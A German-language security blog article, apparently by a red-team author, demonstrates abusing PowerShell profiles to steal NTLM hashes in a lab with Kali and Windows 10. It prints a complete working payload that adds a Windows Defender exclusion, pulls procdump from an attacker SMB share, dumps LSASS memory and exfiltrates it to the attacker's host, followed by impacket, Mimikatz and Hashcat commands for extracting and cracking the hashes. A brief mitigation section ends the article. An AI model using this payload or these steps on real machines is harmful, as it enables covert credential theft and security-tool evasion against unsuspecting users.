Exfiltration von NTLM-Hashes mit PowerShell-Profilen

IT-Experten

Illustration einer PowerShell-Befehlszeile und des Logos

Die in diesem Artikel dargestellte Berechtigungseskalationsmethode wird in dieser Form von russischen Spionagegruppen verwendet. Darin wird eine Möglichkeit beschrieben, wie Angreifer PowerShell-Funktionen nutzen können, um beliebige Befehle in einem höherstufigen Kontext (Administrator) auszuführen. Im folgenden finden Sie eine Demonstration zum Exfiltrieren von NTLM-Hashes. Wie vom MITRE ATT&CK Framework definiert:

Ereignisgesteuerte Ausführung: Angreifer können durch die Ausführung bösartiger Inhalte, die durch PowerShell-Profile ausgelöst wird, Persistenz erzielen und ihre Berechtigungen erhöhen. Ein PowerShell-Profil (profile.ps1) ist ein Skript, das beim Start von PowerShell ausgeführt wird und als Anmeldeskript zum Anpassen von Benutzerumgebungen verwendet werden kann …Angreifer können diese Profile so verändern, dass sie beliebige Befehle, Funktionen, Module und/oder PowerShell-Laufwerke enthalten, um Persistenz zu erzielen.

Weitere Informationen finden Sie in den folgenden Themen:

Den Angriff verstehen

Im folgenden Beispiel startet ein ahnungsloser Benutzer PowerShell mit lokalen Administratorrechten. Windows PowerShell Admin Screenshot Die Sitzung erscheint dem Benutzer nicht ungewöhnlich. Nach der Untersuchung des PowerShell-Profils sehen wir jedoch gehashte Passwörter, die an einen Server gesendet werden, den der Angreifer kontrolliert. Der Angriff ist für den User, auf den er abzielt völlig transparent. Die idealen Bedingungen für diesen Angriff sind:

  • Lokale Administratorkapazitäten: Bei lokalen Administratorkonten teilen sich PowerShell-Sitzungen sowohl mit geringen Berechtigungen als auch mit Administratorberechtigungen ein einziges profile.ps1. Angreifer mit Remote-Zugriff können die profile.ps1-Datei bearbeiten, die von PowerShell-Administratorsitzungen ausgeführt wird.
  • Wenig restriktive PowerShell-Ausführungsrichtlinien: Die Ausführungsrichtlinie bestimmt letztendlich, ob ein Angriff möglich ist. Die Datei profile.ps1 wird nur in PowerShell-Administratorsitzungen ausgeführt, wenn die Skriptausführung erlaubt ist.

Die Netzwerktopologie enthält einen Windows-10- und einen Kali-Linux-Computer, die an einen einzelnen Router angeschlossen sind (siehe unten).Abbildung von Kali Linux und Windows PowerShell

Was sind PowerShell-Ausführungsrichtlinien?

Gemäß der Definition in der Microsoft-Dokumentation:

Die Ausführungsrichtlinie von PowerShell ist eine Sicherheitsfunktion, die die Bedingungen steuert, unter denen PowerShell Konfigurationsdateien lädt und Skripte ausführt … Die Ausführungsrichtlinie ist kein Sicherheitssystem, das Benutzeraktionen einschränkt … Stattdessen hilft die Ausführungsrichtlinie den Benutzern, grundlegende Regeln festzulegen und verhindert, dass diese versehentlich verletzt werden.

In Windows 10 ist „Undefined“ (nicht definiert) die Standardrichtlinie in jedem Bereich. Es ist jedoch üblich, dass Benutzer die Richtlinien CurrentUser und LocalMachine ändern, um die Skriptausführung zuzulassen. Wenig restriktive Richtlinien wie RemoteSignedUnrestricted oder Bypass ermöglichen die Berechtigungseskalation. Verwenden Sie den Befehl Get-ExecutionPolicy -List, um die aktuellen Richtlinien anzuzeigen.

PS C:\Users\varonis> Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine       RemoteSigned

Was sind PowerShell-Profile?

PowerShell-Profile sind Skripte, die bei jeder neuen PowerShell-Sitzung ausgeführt werden. Das umfasst auch Sitzungen in PowerShell ISE und Visual Studio. Sie bieten Benutzern und Entwicklern eine bequeme Möglichkeit, benutzerdefinierte Funktionen und Module mit jedem neuen PS-Terminal zu laden. Verwenden Sie die Variable $PROFILE, um den Profilpfad der Sitzung anzuzeigen. Screenshot eines PowerShell-Profils Zeigen Sie den Inhalt der Datei mit dem Befehl Get-Content an.

PS C:\Users\varonis> Get-Content $PROFILE

Wenn das Verzeichnis nicht vorhanden ist, kann ein Angreifer es als versteckten Ordner erstellen, um unerkannt zu bleiben.

PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

Wenn die PS1-Datei nicht vorhanden ist, erstellen Sie sie. Da das Dumpen von Passwörtern erhöhte Berechtigungen erfordert, lässt sich so effektiv verhindern, dass die Nutzdaten in einem Kontext mit geringen Berechtigungen ausgeführt werden.

PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE

Screenshot von PowerShell-Nutzdaten Auf den ersten Blick sieht das nicht wie ein großes Problem aus. Man muss sich jedoch im Klaren darüber sein, dass ein Angreifer eine Datei ändern kann, die automatisch von Administrator-PowerShell-Sitzungen ausgeführt wird. Bedenken Sie, dass Angreifer hier ein „echo“ durch einen Befehl ersetzen können, mit dem Windows Defender deaktiviert wird oder Passwörter zurückgesetzt werden.

Einrichten des Angriffs

Wenn wir nun unser Wissen über PowerShell-Profile als Waffe einsetzen, können wir zeigen, wie ein Angreifer gehashte Passwörter extrahieren kann. Fangen Sie in Kali an, indem Sie das Arbeitsverzeichnis anlegen und mehrere Dateien speichern.

tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare

Laden Sie die neueste Version von Procdump herunter.

tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'

Entpacken Sie die komprimierte Datei, um verschiedene Versionen von Procdump zu sehen. Bei dem in diesem Artikel beschriebenen Angriff wird procdump.exe verwendet.

tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip

Laden Sie das Skript, das ich für diesen Artikel erstellt habe, herunter und speichern Sie es mit dem Dateinamen „payload“ (Nutzdaten). Verwenden Sie den folgenden Befehl oder suchen Sie ihn auf meinem GitHub. Ändern Sie die $server-IP in den Nutzdaten in Ihre Kali-Adresse.

tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload

Die Nutzdaten enthalten mehrere einfache Befehle. Das Cmdlet Add-MpPreference fügt $env:TEMP zur Ausschlussliste von Windows Defender hinzu. Dadurch wird verhindert, dass Windows Defender procdump.exe oder den LSASS-Speicherdump erkennt. Als Alternative zu Invoke-WebRequest lädt esentutl.exe procdump.exe von der SMB-Freigabe des Angreifers herunter. Procdump wird ausgeführt und speichert den LSASS-Dump in $env:TEMP. Es wird mit Compress-Archive gezippt und mit dem Befehl cp auf die SMB-Freigabe exfiltriert. Aus Gründen der Übersichtlichkeit habe ich den Nutzdaten Kommentare hinzugefügt.

# an if statement to prevent the attack from executing without administrator privileges
if (whoami /groups | findstr /i "S-1-16-12288")
{
  # start the attack as a background processs to prevent the PS terminal from stalling when opened
  Start-Job {
    # where to write data during the attack?
    $temp = "$env:TEMP"

    # create path exclusion in Windows Defender to prevent procdump detection
    Add-MpPreference -ExclusionPath $temp
    
    # sleep several seconds to allow the path exclusion to take effect
    Start-Sleep -s 4

    # the attacker's IP address
    $server = "192.168.56.101"

    # the attacker's SMB share name, must match impacket-smbserver share name
    $share = "evilshare"

    # procdump filename as it appears on the attacker's SMB share
    $procdump = "procdump.exe"

    # procdump.exe is saved locally with a random string as the filename
    $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'

    # the procdump output path when saved locally; shameless username plug
    $dump = "tokyoneon.dmp"

    # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
    $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"

    # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
    esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o

    # execute procdump and dump LSASS memory
    & $temp\$filename -accepteula -ma lsass.exe $temp\$dump

    # suppress progress bar that appears in the terminal when compressing the dump
    $ProgressPreference = "SilentlyContinue"

    # compress the dump
    Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force

    # exfiltrate the compressed dump to the attacker's SMB share via cp
    cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
}

Starten Sie impacket-smbserver, um die Nutzdaten zuzustellen und auf eingehende LSASS-Dumps zu warten. Das Terminal muss für die Dauer des Angriffs geöffnet bleiben.

tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"

Screenshot von PowerShell-Nutzdaten, die auf eingehende LSASS-Dumps warten Fügen Sie unter Windows die Nutzdaten zum Ziel $PROFILE hinzu. Dies geht auch über eine Reverse Shell oder Backdoor. Verwenden Sie jedoch der Einfachheit halber ein PS-Terminal. Ändern Sie die Variable $attacker im folgenden Befehl in Ihre Kali-IP-Adresse.

PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE

Screenshot eines PowerShell evilshare-Profils Wenn das Ziel eine neue Administrator-PowerShell-Sitzung startet, erscheint das impacket-smbserver wie nachfolgend dargestellt.Screenshot eines PowerShell impacket-smbserver Zwei separate „AUTHENTICATE_MESSAGE“-Nachrichten werden in der impacket-smbserver-Ausgabe angezeigt: Das Ziel-Betriebssystem, das procdump.exe abruft, und das komprimierte LSASS-Dump, das auf dem Server bereitgestellt wird. Warten Sie nach der zweiten Nachricht einige Augenblicke und drücken Sie zweimal Ctrl + c, um den Impacket-Server zu beenden. Es wird eine neue ZIP-Datei in dem aktuellen Verzeichnis angelegt. Diese enthält die DMP-Datei, die sich daraus entpacken lässt.

Passwort-Hashes mit Mimikatz extrahieren

Die gehashten Passwörter in der DMP-Datei sind nicht als Klartext lesbar. Verschieben Sie die DMP-Datei auf eine VM von Windows 10 mit deaktiviertem Windows Defender. Laden Sie die neueste Version von Mimikatz (mimikatz_trunk.zip) herunter und speichern Sie sie im Ordner Downloads in Windows. Öffnen Sie ein PowerShell-Terminal und entpacken Sie die ZIP-Datei mit dem folgenden Befehl.

PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz

Gehen Sie in das x64-Verzeichnis und führen Sie die Binärdatei mimikatz.exe aus.

PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe

Screenshot von mimikatz.exe Laden Sie die DMP-Info Mimikatz mit dem Befehl sekurlsa::minidump.

mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp

Benutzen Sie den Befehl sekurlsa::logonPasswords, um gehashte Anmeldedaten zu extrahieren. Beachten Sie den NTLM-Hash in Zeile 12.

mimikatz # sekurlsa::logonPasswords

Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...

  1	Authentication Id : 0 ; 188563 (00000000:0002e093)
  2	Session           : Interactive from 1
  3	User Name         : varonis
  4	Domain            : DESKTOP-JI80T34
  5	Logon Server      : DESKTOP-JI80T34
  6	Logon Time        : 11/15/2020 9:56:57 PM
  7	SID               : S-1-5-21-3489785614-2607058550-4100802712-1001
  8	        msv :
  9	         [00000003] Primary
 10	         * Username : varonis
 11	         * Domain   : DESKTOP-JI80T34
 12	         * NTLM     : 2ba9afd0306922f6aed8c6a2406ddab5
 13	         * SHA1     : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
 14	        tspkg :
 15	        wdigest :
 16	         * Username : varonis
 17	         * Domain   : DESKTOP-JI80T34
 18	         * Password : (null)
 19	        kerberos :
 20	         * Username : varonis
 21	         * Domain   : DESKTOP-JI80T34
 22	         * Password : (null)
 23	        ssp :
 24	        credman :
 25	        cloudap :
    
 			----- [truncated] -----
    
 59	Authentication Id : 0 ; 999 (00000000:000003e7)
 60	Session           : UndefinedLogonType from 0
 61	User Name         : DESKTOP-JI80T34$
 62	Domain            : WORKGROUP
 63	Logon Server      : (null)
 64	Logon Time        : 11/15/2020 9:56:50 PM
 65	SID               : S-1-5-18
 66	        msv :
 67	        tspkg :
 68	        wdigest :
 69	         * Username : DESKTOP-JI80T34$
 70	         * Domain   : WORKGROUP
 71	         * Password : (null)
 72	        kerberos :
 73	         * Username : desktop-ji80t34$
 74	         * Domain   : WORKGROUP
 75	         * Password : (null)
 76	        ssp :
 77	        credman :
 78	        cloudap :

mimikatz #

NTLM-Hashes mit Hashcat knacken

Nun zu einem weiteren Pentesting-Tool, Hashcat. Selbst im Jahr 2020 verwenden Menschen noch schwache Passwörter, um ihre Daten und Konten zu sichern. Mit der neuesten Version von Hashcat und einer gewöhnlichen GTX-1060-GPU dauerte es eine Sekunde, um einen Hash mit sieben Zeichen zu knacken.

tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l

Screenshot von Hashcat in Aktion

Erkennung und Bekämpfung

Das MITRE-ATT&CK-Framework empfiehlt: Überwachen Sie die Profilorte auf Änderungen. Weitere Gegenmaßnahmen:

  • Codesignieren: Erzwingen der ausschließlichen Ausführung von signierten PowerShell-Skripten. Signieren Sie Profile, um zu verhindern, dass diese geändert werden.
  • Datei- und Verzeichnisberechtigungen einschränken: Wenn PowerShell-Profile schreibgeschützt sind und nur von bestimmten Administratoren geändert werden können, wird die Möglichkeit für Angreifer eingeschränkt, auf einfache Weise Persistenz auf Benutzerebene aufzubauen.
  • Softwarekonfiguration: Vermeiden Sie PowerShell-Profile, wenn diese nicht benötigt werden. Verwenden Sie das Flag -NoProfile, wenn Sie PowerShell-Skripte per Fernzugriff ausführen. So können Sie verhindern, dass lokale Profile ausgeführt werden.

FAZIT

Dieser Angriff auf NTLM-Hashes verdeutlicht die Gefahren einer nicht ausreichend strengen Richtlinie in Verbindung mit lokalen Administratorkonten. Während hier detailliert beschrieben wurde, wie ein Angreifer den Administrator zur Exfiltration von NTLM-Hashes zwingen kann, ist es trivial, die verwendeten Nutzdaten zu verändern und seine Berechtigungen mit PsExec auf NT AUTHORITY\SYSTEM zu erweitern. Weitere Tipps für Pentester, die PowerShell verwenden. Folgen Sie mir auf Twitter @tokyoneon_ und auf GitHub , um über meine aktuellen Projekte auf dem Laufenden zu bleiben. Bei Fragen und Anliegen können Sie einen Kommentar hinterlassen oder mir eine Nachricht auf Twitter schicken.

Avatar

Tokyoneon

Tokyoneon ist ein zertifizierter Red-Team-Operator mit über einhundert Veröffentlichungen zum Thema offensive Sicherheit und viel Erfahrung im Ausnutzen von Schwachstellen in Webanwendungen und in moderner Infrastruktur. eCPPT / eWPTX / OSCP / OSWP / PenTest+ / CySA+ / Security+

 

Möchten Sie Varonis in Aktion erleben?

Vereinbaren Sie eine Demo oder wenden Sie sich an unseren Vertrieb unter +49 89 3803 7990